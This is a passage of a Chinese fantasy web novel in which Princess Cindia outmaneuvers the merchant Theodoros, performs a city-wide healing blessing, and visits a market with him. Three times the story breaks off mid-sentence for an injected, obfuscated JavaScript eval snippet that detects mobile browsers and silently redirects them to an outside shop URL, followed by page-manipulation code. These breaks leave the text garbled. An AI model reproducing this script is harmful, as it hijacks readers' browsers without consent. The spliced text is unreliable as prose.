狄奥多罗斯的生意受到了巨大的冲击，他事先有所准备，可是那些准备就像是一叶小舟，根本阻挡不住到来的狂风巨浪。 他的对手要是只有三个商人或者是只有一个行业出现了他没有掌握的先进技术，他都有办法解决。 可是现在市场上那些雪糖、彩绸还有本该只有贵族才能享用的白纸，出现在各个街道的属于不同商人的店铺中。 他没办法让他们所有人都停止出售这些商品，他也打听不出配方。 他在这三个行业的生意都受到了严重的影响，要是他再摆不出差不多的商品，他的相关店铺没多久就都得关门大吉。 人类的悲欢从不相通，狄奥多罗斯忧愁的时候，苏卡尔却觉得很畅快，这或许是他的人生中最畅快的一天。 之前狄奥多罗斯为了跟他的糖铺打擂台，特意在他的店对面开了一家占地面积更大，装饰更为豪华的店铺。 在低价策略下，苏卡尔的客人基本都跑去了对面的糖铺。 很长一段时间，他只能坐在自己空空荡荡的店铺里，而对面的生意红火极了。 现在他有了雪糖，局势就立马变换了。 他的店铺里挤满了想要买到雪糖的客人们，而狄奥多罗斯的店铺门可罗雀。 苏卡尔并不担心狄奥多罗斯会获得雪糖的配方，再次抢走他的生意。 因为辛蒂亚公主向他们承诺过，狄奥多罗斯永远不会成为他们的竞争对手。 狄奥多罗斯在城主府吃了闭门羹。 他带着珍贵的礼物，包括着来自唐国的瓷器和字画，他听说辛蒂亚公主偏爱这些。 可惜面对礼物，城主府的侍卫来者不拒，可是一说到他希望能见到城主，他得到的答复永远都是城主没空。 狄奥多罗斯并不愤怒，只是觉得内心复杂。半年前他还有着自由出入城主府的特权，现在他却连门都进不去。 直到第三次上门被拒绝，狄奥多罗斯只好咬咬牙告诉侍卫，只要辛蒂亚公主愿意见他，他将免去城主府十分之一的债务。 这不是一笔小钱，虽然辛蒂现在已经开始有持续的现金流入账，这也差不多是她一个月收到的利润了。 于是辛蒂欣然答应了和狄奥多罗斯的会面，其实下一次他再来她就会见他了，真是心急的男人。 狄奥多罗斯有着典型的波斯人相貌，他的轮廓深邃得像是陶匠精心雕琢的瓷器，深栗色的头发被一根嵌着绿松石的银色发带束在脑后，束腰长袍后能看到胸肌的线条若隐若现。 他不像是个商人，反倒具有着贵族的气质，像个王子。 还是一个企图色诱辛蒂亚公主的王子。 60.谈判 狄奥多罗斯琥珀色的眼眸没有看上去那么老实，他的动作很恭敬，眼睛却已经用一种欣赏的，不会让人觉得被冒犯的方式打量了辛蒂亚公主一圈。 随即动听的恭维就像是流水一样从他的薄唇里流泻而出： “我走过丝路的三十六个城邦，见过撒马尔罕的舞姬戴着宝石起舞，见过天竺的贵女披着金丝纱丽诵经。” “我却从未见过您这样的美人，您一定是巴格达最闪耀的明珠，埃烈的风沙也未能让您有丝毫蒙尘。” 恭维话总是能叫人开心，即使辛蒂也不能免疫。 她被狄奥多罗斯逗得咯咯直笑，不知不觉间已经对他产生了些许的好感。 他有一种魅力，不管在什么场合下，都能够让女人情不自禁地用看男人的眼光看待他，而不是一个竞争者或者合作伙伴。 狄奥多罗斯当然不是来哄女人开心的，他很快就话锋一转，语气中的轻佻褪去，多了几分郑重，开始说起了正事。 “尊贵的城主，我为我之前的冒犯向您道歉。” 他的眼睛里尽是真诚，带着恰到好处的歉意，将之前城防官纳西尔的传话一笔带过： “我之前的提议只是出于怜香惜玉，希望能为您提供一些小小的赞助，绝无小瞧您的意思。” “最近听说您找了些人帮您宣扬新的技术。” “我这里能工巧匠和更好的商铺，还有船只能替您将这些商品远销海外，希望能有这样的荣幸为您效力。” 辛蒂并未被他的话打动，虽然狄奥多罗斯的姿态放得很低，但是辛蒂调查过他，能从底层一步一步爬到今天的位置，这个狄奥多罗斯并不简单。 这人的心眼太多，野心太炽，即使是魔法契约恐怕也难以完全限制他。 “一腕尺宽的房屋，摆不开两腕尺的榻，我可请不起您这样的大商人。” 辛蒂笑得温柔，说出的话却并不婉转，甚至隐隐带着讽刺的意味。 狄奥多罗斯一愣，没想到对方拒绝得这么彻底，他还以为看在那免除的十分之一的债务上，这位公主也会客套一下呢。 他苦笑一声，言辞更为恳切：“在您面前，我不过是一只小虫子罢了，请不要说这样的话。” “我愿意付出十倍于其他商人的代价得到您的技术，甚至可以将城主府的债务一笔勾销。” 辛蒂有些心动，不过还是摇摇头：“这几个产业对于您来说不过是九牛一毛，一些微末的技术而已，不值得您付出这样的价钱。” 狄奥多罗斯的涉足的产业的确很多，不管是走私和奴隶贩卖都要比制糖之类的制造业赚得多得多。 可是赚钱的生意往往风险很大，而且需要足够的资本和背景才能入局。远没有制造业赚的钱干净踏实，还能带来稳定的现金流。 况且因为最近的管制很严，狄奥多罗斯在走私一批货物的时候亏了一大笔。 要是他的糖铺和丝绸铺的生意持续低迷下去，他恐怕有破产的风险。 他这么想着，眼中闪过厉色，话里带了些情绪：“就算您是巴格达来的强龙，地头蛇也不会被轻易摁死。” “您的技术虽然新奇，未尝没有被破解的可能，我有无数的能工巧匠，破解只是时间的问题。” 辛蒂亚公主坐在最近刚做出来的，还散发着木香的高背椅上，整个人有种说不出的慵懒。 狄奥多罗斯隐含威胁的话并未让她的神色变得不安，她的回复很随意而敷衍：“当然，我相信您的本事。” 话虽如此，她的肢体动作表达出的却是浓浓的轻蔑。 狄奥多罗斯当然没这个本事，在雪糖售出的第一时间他就派人买来给他手下的制糖工匠研究，一无所获。 他还尝试了别的不那么光彩的手段，可是不管是偷窥还是收买，都不奏效。 因为所有进入工坊的工人都被强制要求签订了契约，有人在高价下试图泄密，还没等他说出什么有用的东西，就像他之前的手下一样倒地而亡。 来到城主府，祈求辛蒂亚公主已经是他最后的办法了。 狄奥多罗斯的神色变得颓丧，像是被戳破的气球。他还想争取，可是他意识到了对方的坚决。 这位公主完全不像人们口中那样无知娇弱，单凭这件事，他就知道这是一位老练的猎人。 出手快准狠，不给敌人反应过来的机会。 这样的人往往也目标明确，决定了的事不会轻易动摇。 “或许，您会对扎姆总督的死因有些兴趣。” 狄奥多罗斯斟酌再三，给出了另外的筹码，他确信这是一件极其隐秘的事，辛蒂亚公主肯定感兴趣却无从得知。 “哦？你和阿赫勒教团是什么关系？”辛蒂的神色果然变得专注了起来。 狄奥多罗斯坦诚回答道：“我赞助了阿赫勒教团，他们承诺会保证我的安全。不过我并不插手他们内部的事务。” 他顿了顿，看辛蒂亚公主没有疑问才继续道：“不过必须要强调的一点是，我和扎姆总督的死一点关系都没有。” “事实上，我和总督大人的关系很好，我们一度合作十分愉快。” 狄奥多罗斯说这话的时候脸不红心不跳，辛蒂差点就信了。 如果辛蒂没有从阿卜那里了解过狄奥多罗斯以城主府的债务作为威胁，要求总督扎姆给他王室香料采购的独家代理权，逼得扎姆亲自到巴格达要钱的话。 不过辛蒂相信狄奥多罗斯没有杀死扎姆的动机，埃烈换一个掌权者对他没什么好处。 狄奥多罗斯无视了辛蒂面上一闪而过的嘲讽之色，继续道： “总督大人被刺杀的消息传来以后，我原本也以为是哪个小教派心存不满才动的手。” “还好您慧眼如炬，识破了真凶，为总督大人复仇。” “知道是阿赫勒教派杀死了总督大人后，我就派人密切关注着主教佐尔万的动作，发现了一些有趣的事。” 狄奥多罗斯在关键的位置停下了讲述，含笑不语。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920458|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>辛蒂知道，要想了解后续的情报，她需要付出些诚意才行。 她略略沉思，狄奥多罗斯的手伸得太长了，她不会允许埃烈有这样只手遮天的大商人，不利于形成健康的市场环境。 不过要是他确实能提供出有用的线索，将死刑变成死缓也不是不行。 “这些技术我不会给你，不过王室需要一个合适的香料供应商，如果你感兴趣的话。” 狄奥多罗斯眼睛一闪，他当然感兴趣。更有趣的是，这就是他一直汲汲营营希望获得的。 之前挖空心思都没有得到的，现在通过另外一种意想不到的方式得到了，这何尝不是命运的前后呼应呢。 王室的香料需求很大，每年都会从各个地区购买大量沉香、龙涎香、麝香、乳香、没药等等的珍稀香材用来熏衣物和房间。 胡椒、肉桂、丁香、藏红花、姜等调味香料也是价格昂贵的必需品，民间常常都有诗歌传唱着贵族们奢侈的用香习惯。 正所谓：和田的麝香在你衣间流淌，龙涎香在你发间凝结/你走过的路，连顽石都要吸一口你的芬芳/不必向平民炫耀你的香/他们的鼻子，只配闻薄荷与干草。 哈里发卧室中常年焚烧着的龙涎香，一天的用量就足够五口之家的平民一个月的开支。 和王室做生意，商人们常常都只有赚的，只要品质够好，哈里发从不吝啬他私库中的金币。 所以成为王室的香料供应商，是一个彻彻底底的肥差。 不过狄奥多罗斯并没有多么高兴，这原本就是他筹划中的事，而现在他付出了比预期更多的代价。 辛蒂亚公主的意思很清楚，她就是要把他从这三个产业里挤出去，为此她甚至愿意用这个肥差来堵他的嘴。 狄奥多罗斯还想到了更深层次的东西，辛蒂亚公主绝不仅仅是想要赚点钱或是掌握埃烈的实权这么简单，她眼下的动作很可能只是一个开始。 她要把埃烈清理得干干净净，变成一个全新的，按照她的意愿捏圆搓扁的埃烈。 完成和狄奥多罗斯的交易后，辛蒂欣然答应了他共进晚餐的请求，别的不说，这位大商人的卖相极佳。 有眼色又风趣的男人不管到哪里都能吃得开。 商人们缴纳的技术使用费以及最近随之而来的第一笔分红解决了辛蒂的燃眉之急，她将官员们拖欠许久的薪俸补上，还大方地多给了一部分，赢得了所有人的赞美与欢呼。 城主府的欠款辛蒂并不急着还，她打定主意要是那些商人不催促，她就装作没这回事。 说不定未来还有像狄奥多罗斯这样主动免除部分债务的家伙呢。 解决了城主府的经济问题，辛蒂终于有精力可以开始操心就任仪式的事了。 她当时可是信誓旦旦地向民众宣布过这件事，还许诺了赐福。 如今已经过去一个多月了，或许许多人都忘记了埃烈有新城主这回事了。为了避免给民众们留下言而无信的印象，就任仪式要尽快举行。 61.赐福 辛蒂亚公主只需要张张嘴，跑断腿的则是副官阿卜。 阿卜出身的家族实际上十分显赫，他的家族是上一个王朝遗留下来的后裔，严格来说他算是一位王子。 原本阿卜应该享受着光辉灿烂的人生，可惜疼爱他的母亲在他成年后不久去世了，他的父亲又再娶了一位同样家族背景显赫的妻子。 他的继母刚过门的时候还好，一生下儿子就迫不及待地找个由头陷害阿卜，让他遭到父亲的厌弃。 随后又找关系把阿卜丢到了埃烈，生怕阿卜占着继承人的位置。 阿卜算是家族的弃子，不过地位摆在那里也没人敢把他怎么样，城主不够格，当一个副官还是绰绰有余的。 在埃烈城主缺位的这段时间里，就是他独自扛起了城主府的大小事务，不说干得有多么出彩，最起码没有出什么岔子。 辛蒂亚公主来到埃烈以后，他凭借着自己的忠诚和任劳任怨，成功地成为了城主府少数没有被裁撤的几个官员之一，成为了辛蒂的得力臂膀。 阿卜是一个很乐观的年轻人，从家族继承人变成一个小小的埃烈副官也没有自暴自弃就能看出来。 他其实更向往平淡的生活，不用做家族继承人之后反倒松了口气。 眼下辛蒂亚公主的城主就任仪式对他来说是一个不大不小的挑战。 他上任以来，还没经历过这种大场面。以前扎姆总督在的时候，也不会给他这样的重任。 阿卜将自己精心准备的仪式流程和邀请名单给辛蒂亚公主过目，辛蒂对于其他的没什么意见，唯独在场地和人员上提出了要求。 “仪式设置在埃烈城中心的广场上，参加的人不必限制，所有人都可以到场观礼。” “可是这样的话很可能会遭遇危险，要是现场发生混乱，恐怕以城主府的目前的侍卫规模，没有办法保证您的安全。” 阿卜并不赞同辛蒂亚公主的想法，自从某个官员在露天仪式中被刺杀以后，所有的仪式都要严格筛查到场的人员。 为了说服辛蒂亚公主，阿卜还向她讲述了那起赫赫有名的“索尔广场刺杀案”，那个可怜的官员还没享受到刚到手的权力就失去了生命。 阿卜讲故事的水平十分高超，辛蒂几乎能感受到当时的紧张氛围，不过她还是坚持自己的想法。 “阿卜卿，仪式会顺利进行的，你就按照我的话办吧。” “遵命就是。”阿卜无可奈何，只能尽量扩大了现场的护卫规模。 三天后，所有民众都通过城主府的宣谕得知了辛蒂亚公主的城主就任仪式会在埃烈的中心广场举行。 辛蒂亚公主颁布的免税的政令收获了许多异教徒的好感，还有她之前在遇到袭击时展现出来的神奇手段传扬开来，让许多人感到好奇。 于是在就任仪式那天，中心广场人满为患，侍卫们努力维持着现场的秩序，避免激动的民众们挤到高台的下方。 在现场奏起的宏大而柔和的乐声中，辛蒂亚公主出现了，她穿着庄严圣洁的白袍，手持裹着黄铜的枣木权杖，几乎叫人不敢逼视。 民众们自发地安静下来，一双双眼睛盯着高台上那个恍若神明的少女。 这时候其实仪式的大部分流程，比如宗教宣誓还有城主印章等信物的交接都已经完成。 出现在高台上的辛蒂亚公主已经是从世俗到宗教层面上的埃烈城主。 辛蒂完成了事先准备好的演讲，不同于很多大人物文邹邹又空乏的演说，辛蒂亚公主的演讲内容直白易懂，振奋人心又充满了实干家的风采。 她承诺未来会在加强埃烈城中治安的管理，减少大街小巷里各教派械斗现象，还所有人一个安宁的生活环境。 对于埃烈城中不合理的物价，城主府也会介入管控，保证所有埃烈的居民都能购买到物美价廉的商品。 另外她还会为城中流离失所的孤儿设置济贫院、大力发展制糖、丝织、造纸等产业，为居民们创造更多就业机会······ 所有人都听懂了辛蒂亚公主近乎大白话的演讲，人们的眼睛越来越亮，仿佛真的看见了一个繁荣昌盛的未来。 不少原本不太信任她的民众也不禁被她说服，为她喝彩。 埃烈的居民们听过不少空话，他们已经习惯了几乎每一任城主都有着这样那样的雄心壮志。 可惜那些听起来很美好的话都难以付诸实践，他们失望过太多次的内心已经对这样的许诺感到麻木。 这次却不一样，最起码他们的新城主，她已经有了实绩。 市场里那些几乎所有人都买得起的雪糖是最有说服力的，这给了他们对于未来无与伦比的信心。 对辛蒂来说，这不是给埃烈的居民们画饼，而是她实实在在的未来的待办事项。 她知道很多人都不信任她，不过没关系，埃烈的人们以后就会明白，城主绝不食言，从她承诺的赐福开始。 这次赐福她准备了很久，在城主府中一半的时间都在筹备这个巨大的魔法仪式所需要的材料。 因为面对的对象是整个城市的民众，这样的超大型魔法仪式需要的材料简直是天价。 不过一想到即将出现的效果，辛蒂认为这一切都是值得的。 从今天起，再也不会有人质疑辛蒂亚公主的神佑之名。 辛蒂宣布启动赐福仪式后，在她的灵视中，中心广场的八面亮起淡淡的白光，那是提前放置好的仪式材料的光芒。 圣泉水不要钱，不过那些红宝石可花了她不少金币。 在民众们期待的目光中，辛蒂的神色肃穆，口中诵念起真主的尊名： “神圣的，无所不知的主啊，请您接受这纯净之水，炽烈之石的供奉，赐予您的子民以健康与宁和。” 台下的民众发出了低低的惊呼，他们看到此时的辛蒂亚公主的身周散发着淡淡的白光，仿佛成为了真正的神明。 一些虔诚的信徒已经弯下膝盖开始进行跪拜，他们认为这是真主借着辛蒂亚公主的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928010|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体降临了人世。 没多久，广场上已经没有一个站着的人，不管是油滑的商人，还是老实的农夫，或是勤劳的织女，大家都不由自主地将额头紧紧触地，以示敬意。 随即更加神奇的事发生了，一场比春雨更加温柔的雨水悄然在中心广场的范围里下降。 这些与其说雨水，不如说是半透明的丝状能量体。它们一接触到人的身体，就悄无声息地钻了进去。 跃动的能量体润物细无声地改善着人们的体质，洗去人们的病痛和疲劳。 所有人都呆呆地看着这一幕，直到码头的扛包工人发出惊呼：“欸，我的腿不疼了！” “我的眼睛能看清楚了。”这是一位因为长久的纺织生活，眼睛常常觉得模糊的纺织女工。 “我也是，我的咳嗽竟然全好了。”老人佝偻的腰背挺直了，嗓音也不复之前的嘶哑。 而那些身体原本没有什么不舒服的人，在得到赐福后，也觉得浑身轻松，感觉全身有用不完的力气。 人群彻底炸开了锅，七嘴八舌地议论着这场赐福。 真主的信徒们早已跪地不起，口中喃喃着“真主降临了，祂真的降临了······” 得到赐福的异教徒们都不由自主地动摇了自己的信仰，他们从未在祭祀自家神明的时候得到过这样切实的好处。 难道真的“万物非主，唯有真主”吗？ 当泥塑的神明真的发出了耀目的圣光，不管是逊尼派还是什叶派，抑或是那些名不见经传的小教派，他们的恐惧远大于欣喜。 他们不过是借着信仰在民众中兴风作浪，以神明的名义把控人心，故事讲得久了，他们自己都要分不清楚那些高高的神像是否真的具有无边的伟力。 毋庸置疑的是，所谓的神迹是辛蒂亚公主一手造就。 问题是，力量的根源究竟是来自于辛蒂亚公主还是真主呢？ 不管面对谁，辛蒂亚公主的回答都会是后者，没有比这更好的伪装和理由了，而且还是哈里发认证过的。 而混在人群中的阿赫勒教团的主教佐尔万十分清楚，这就是辛蒂亚公主的手段，就和她挡住女奴的刺杀以及泼来的粪便同源的手段。 他在心中认定，辛蒂亚公主是个巫女，却扯着真主的名头做事，唬住了所有人。 他认为辛蒂亚公主是一个可鄙的小偷，使用了某种未知的方式偷走了阿赫勒教团的秘法，不管是魔法契约还是所谓的赐福，肯定都来源于穆塔之战中他们遗失的典籍。 佐尔万的眼中充满了嫉恨和贪婪，新仇旧恨一齐涌上心头。 他认为巴格达的据点就是因为辛蒂亚公主才被关闭的，他要想办法对付这个巫女，为莱曼大师报仇雪恨，以及拿回属于他们的东西。 广场上的赐福还在继续，不断有新的人在涌入中心广场，试图得到赐福。 还有人寻觅着他们的新城主，辛蒂亚公主的踪迹，想要感谢她的慷慨，却发现她早已功成身退，不知所踪。 62.游船 此时的辛蒂已经完全没了高台上的端庄和肃穆，她软软地瘫在床上。 刚举行完仪式，她就产生了一种急剧的虚弱感，仿佛一下子被掏空了。 以至于原本准备好的结束语都没来得及说出来，就急忙在失去行动能力之前离开了中心广场。 这场赐福仪式的效果实在很好，尽管它让辛蒂整整虚弱了三天。 所有得到赐福的民众都自发地宣扬着这场神迹，埃烈的大街小巷都流传着辛蒂亚公主的美名。 就连没有去过中心广场观礼的人也能向外乡人完整地描述整个仪式的过程。 他们的新城主是如何如何高贵美丽，她只是挥挥手，天空中就怎样降下了甘霖，整个广场的人都得到了多少的好处之类的。 仪式的效果也被夸大了成千上百倍，原本这个仪式只有让人强身健体的作用，在流言里，当时广场上有个断手的士兵甚至重新长出了手臂。 这让城主府收到了许多求医问药的信件，俨然把城主当成了一位神医。 这些当然都被拒绝了，这就是拥有权力地位的好处了。 要是辛蒂只是个平民，展露出这样的本领后恐怕当场就会被绑走，而不只是收到一些措辞十分礼貌的信件。 即使如此，城主府里还是出现了几波不速之客。 辛蒂亚公主的行为侵犯了很多教派的利益，一些得到赐福的异教徒在那之后立马改信了真主。 这些教派使尽了浑身解数来巩固自己的信众，为此付出了不小的代价，自然对辛蒂亚公主恨得牙痒。 他们派出刺客，一方面是想要试探辛蒂亚公主的虚实，另一方面也是真心实意想要置她于死地。 但是没想到不管是用毒药还是刺杀，他们的人都无功而返，即使是经验最为丰富的杀手，也连辛蒂亚公主的衣角都没有摸到。 辛蒂并不在乎他们的小动作，这些都在预料之中。她在刚到埃烈的时候，就将从巴格达带来的人分散到了各处。 城主府留下的人被尽量精简，直到她能确保每个人可信。 并且她还强制要求所有城主府的奴仆签下了无法背主的魔法契约，他们只要动动背叛的念头就会立刻死去。 要是被阿赫勒教团的人知道辛蒂这么用魔法契约，保准会觉得她暴殄天物。 辛蒂也觉得有些浪费，毕竟每一份契约她都花了许多时间来炮制，还用上了许多珍贵的材料。 不过她认为这是值得的，她没有那么多时间去培养一批完全忠心的奴仆，只能靠魔法手段进行弥补。 除了保证奴仆们的忠诚，辛蒂还在她和阿伊莎居住的房间布置了防御性的法阵。 在这样周全的准备下，要是有刺客能得手才怪。 完成了赐福仪式后，埃烈城中再无人敢公然反对新城主，像之前“女人凭什么当城主”这种论调，现在说出来恐怕会被唾沫星子淹死。 制糖、丝织和造纸在克服了一些技术问题后，都顺利走上了正轨。 随着量产的规模慢慢扩大，在辛蒂的计划中，这些产品将在能在满足了本地的需求以后开始销往外地。 制糖和丝织的技术还好，造纸术被辛蒂交给商人，还大量生产给平民使用，这无疑侵犯了一些人的利益，恐怕会引起巴格达某些贵族的不满。 不过这都是几个月乃至一年以后的事了，辛蒂的动作很快，埃烈和巴格达又距离遥远。 恐怕等那些贵族知道这件事的时候，这已经成为了无法更改的定局。 那时候的辛蒂肯定已经发展出了一股不小的势力，无惧外界的攻击。 辛蒂将目前的局面捋了一遍，又确定好了一些待办事项，自此辛蒂已经算是在埃烈站稳了脚跟。 她总算是可以稍微松口气，思考一些吃喝玩乐的事了。 这天狄奥多罗斯亲自上门，邀请辛蒂一起去游船。 “现在正是春暖花开的好时候，底格里斯河的水流不再冰冷，鱼儿们都变得活跃起来，美丽的公主，我是否能有幸邀请您一同享受美景呢？” 狄奥多罗斯口中的游船与其说是船，不如说是一个巨大的水上宫殿。 它几乎占据了整个河道，自成一座小小的岛屿。 船上也极尽奢华，裸露在外的木材上都用鲜艳的颜料刻画了各种各样的精妙的花纹。 船舱内铺设着昂贵的波斯地毯和丝绸坐垫，各式摆设无一不精，比辛蒂亚公主的铜宫内部还要奢华。 辛蒂在狄奥多罗斯的搀扶下登上这座水上宫殿，几乎感受不到任何的震感。 这艘大船一开始确实让辛蒂觉得新奇，可惜在新奇劲过去以后，她发觉这不过是从城主府换到了一个更豪华的房间里。 不过一刻钟，纵然有歌舞作伴，辛蒂也觉得无聊。 她似笑非笑：“狄奥卿，既是游船，在这里又和陆地上有什么区别呢，一点乐趣也无。” 狄奥多罗斯今天显然是特意装扮过，栗色的头发不再用发带束缚，多了几分不羁。 或许是注意到了之前辛蒂流连在他的身躯上的目光，今天的狄奥多罗斯穿了一件正面遮得严严实实的束腰长袍。 长袍的后背却开口到了金色的腰带附近，露出了紧实流畅的背部肌肉线条和漂亮的肩胛骨。 很难说这是一种拒绝还是邀请，不过辛蒂十分受用这种时隐时现的美色。 尤其是他还坐在辛蒂的下首，背对着她欣赏歌舞。狄奥多罗斯的肌肉线条可比那些舞女们好看多了。 不过再怎么好看也有看腻的时候，比起在这里枯坐，辛蒂更愿意回去处理公务。 狄奥多罗斯亦发觉了辛蒂亚公主的兴致缺缺，他微微欠身：“让您觉得无趣是我的无能，我有个好玩的主意。” 他琥珀色的眼睛让辛蒂想起了缅因猫，看上去温顺极了，却又隐含着狡黠之色： “听说哈里发喜好夜游，常常带着宰相叶海亚装扮成平民，乘坐小船沿着底格里斯河从巴格达的皇宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931570|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺流而下。” “看来我今天有荣幸作一回宰相，陪伴您游船呢。” 语罢他果然吩咐仆人拿来两身平民的装扮，又预备了一只小船，只带着辛蒂两个人又有一位船夫，开始了一场独特的游船之旅。 辛蒂感到兴奋，自从来到这个世界，她还没有这样自由出行过。 所以即使知道可能会有隐含的危险，她还是拒绝了侍卫和奴仆的跟随，欣然同意了狄奥多罗斯的建议。 宽阔的河道上，芦苇扎成的小船并不寂寞，周围尽是来来往往的船只。 其中有巨大的远洋船舶，甲板上堆满了来自唐国的丝绸和印度产出的乳香，这些货物会被运往城中的集市，卖出一笔好价。 更多的是和他们相似的芦苇船，船夫们赤着脚，肌肉鼓起的双臂有力地摇动着船桨，在河道上轻盈地穿梭着。 他们有的载满了渡河的平民，有的载着新鲜的果蔬或者其他货物，相熟的船夫使用俚语大声说笑，爽朗的笑声铺满了整个河面。 这鲜活的一幕幕让辛蒂看得目不暇接，所有再平常不过的场景都能引起她浓烈的好奇。 狄奥多罗斯又露出了他那猫一样的笑容道：“您大多时候都有着超越年龄的老练，这个时候我才意识到您竟然是一个跟我的妹妹差不多大的女孩。” 他轻轻调笑一句，随即立马转移了话题：“听说您过去十五年都居住在一个全铜打造的宫殿之中对吗？” 辛蒂心情正好，没有计较他的失礼。 铜宫的话题让她下意识皱起了眉头，内心暗想要是他跟别人一样表达一些莫名其妙的同情，她就假装不小心把他从船上踹下去，反正船夫会救他的。 她已经厌倦了应付这种毫无营养价值的同情，也厌倦了说那些她早已倒背如流的套话。 出乎辛蒂的预料，狄奥多罗斯在得到肯定的回答以后，居然露出了一丝惆怅：“真羡慕您，还有那么多有趣的事物等着您去感受和体验。” “不像我，已经体验过世界上绝大部分的乐趣，已经开始觉得有时候生活真是没意思。” 辛蒂一时间难以确定狄奥多罗斯是不是在炫耀，毕竟他确实拥有着很多财富，足以让他用钱买到人世间可以体验到的所有欢乐。 就像那个水上宫殿，辛蒂认为即使是哈里发也不会如此奢华，从这个意义程度上讲，狄奥多罗斯确实有炫耀的资本。 虽然他没有像辛蒂预想中那样冒犯到她，辛蒂还是有种想要将他踹下船的冲动。 船夫的声音拯救了狄奥多罗斯：“大人们，萨尔玛集市到了。” 辛蒂立马被这个集市吸引了，她感觉自己从没见过这么多人，这个萨尔玛集市简直是热闹非凡！ 刚一上岸，浓郁的熏香、烤肉和新鲜面包的香气就充满了辛蒂的鼻腔，薄薄的面纱根本挡不住这些浓郁的味道。 不过她并不觉得好闻，熏香的味道太过于刺鼻，让她连打了三个喷嚏，好在她很快就适应了过来。 63.祭祀 萨尔玛集市中好玩的东西实在是太多了，这一秒辛蒂还在看陶工当街塑造出一个圆圆的陶罐，下一秒她就被来自埃及的色彩斑斓的玻璃制品吸引。 商贩们当然不知道这个活泼的女孩就是他们的新任城主，不过即使二人衣着普通，通过裸露出的细腻肌肤和非凡的仪态也能看出来他们并不缺钱。 这样的肥羊可不常见，一时间许多商贩都瞄准了辛蒂，卖命地向她推荐着自己地货物。 “尊贵的夫人，请看看吧，这是来自古老东方的丝绸，这样的流光溢彩只有您才配得上哩！” “哈里发戴过的戒指，上面的红宝石绝对真材实料，只要十个金币就属于您了······” “各位，这是一副《天方夜谭》的细密画，来自一位著名的画家，这样的艺术品正适合装饰在您华美的房屋里呢。” ······ 对于这些所有的推销，辛蒂都照单全收，尽管没有一样商品能配得上放进她的房间——辛蒂亚公主的所有衣物乃至房间的饰物都是从巴格达带来的，每一件都堪称是艺术品。 不过购物的乐趣并不在于买的东西有多么昂贵，而是在于这整个过程。 这就苦了狄奥多罗斯，因为没有侍卫和奴仆的跟随，他只能跟在辛蒂的屁股后面付钱，不一会身上就大包小包的挂满了东西。 等到辛蒂尽兴后，狄奥多罗斯几乎已经被这些包裹压得走不动路了。 辛蒂有些奇怪：“狄奥卿，我知道有侍卫跟着我们，你大可以将这些东西丢给侍卫们。” 辛蒂还有半句话没说，大可不必为了讨好她搞得这么狼狈。 狄奥多罗斯依言将这些乱七八糟的包裹交给不知从哪里冒出来的侍卫，理了理衣服才笑道：“您有所不知，我以前看到有个手下就是这样和心仪的姑娘逛集市的。” “我也想试试这是什么滋味，果然甘之如饴。” 狄奥多罗斯的语气认真，神色郑重，这样英俊的脸庞，配合上这样的深情款款，几乎可以让任何一个女孩脸红。 辛蒂觉得有些肉麻，在拥有过真正的爱以后，狄奥多罗斯表现出来的感情就像是某种甜而假的工业糖精，多吃一口都会反胃。 说实在的，比起感情，她对于狄奥多罗斯的□□更感兴趣些。 她抖抖身上的鸡皮疙瘩，因为想起了维尔图斯，她的玩性大减，忽略狄奥多罗斯近乎表白的话，她命令道： “好了，我也玩够了。狄奥卿，带我去看看阿赫勒教团的祭祀的地方吧。” 这是这次辛蒂和狄奥多罗斯出游的另外一个目的。 辛蒂给了狄奥多罗斯王室香料供应商的资格，作为交易，他告诉了辛蒂自己在监视阿赫勒教团主教佐尔万时发现的事。 因为佐尔万有着某种未知的可以发现跟踪的手段，能甩掉所有的跟踪者，所以狄奥多罗斯的消息是通过佐尔万身边一个颇受信赖的下属知道的。 阿赫勒教团都是一群穷鬼，他们常常都需要用到各种各样的稀有的魔法材料消耗不菲，即使有狄奥多罗斯的资助，他们也几乎在温饱线上挣扎。 尤其是在被辛蒂亚公主查出他们就是杀害总督扎姆的真凶以后，他们失去了一大笔宗教经费，拮据的生活雪上加霜。 这是辛蒂第一次知道阿赫勒教团竟然这么穷，这让她觉得匪夷所思，他们既然是巫师，总有些神奇的手段，如何就混成了这个样子。 狄奥多罗斯解答了她的疑惑，在穆塔之战后，巫师之流都夹着尾巴做人，生怕被当权者清算。 虽然没有明文规定，巫师们都自觉地不去使用那些邪恶的巫术，新巫师们更多的也是学习占卜、炼金之类的辅助性质的巫术。 阿赫勒教团因为丢失了传承，本来掌握的巫术就不算多，其中又有很大一部分都是害人的手段。 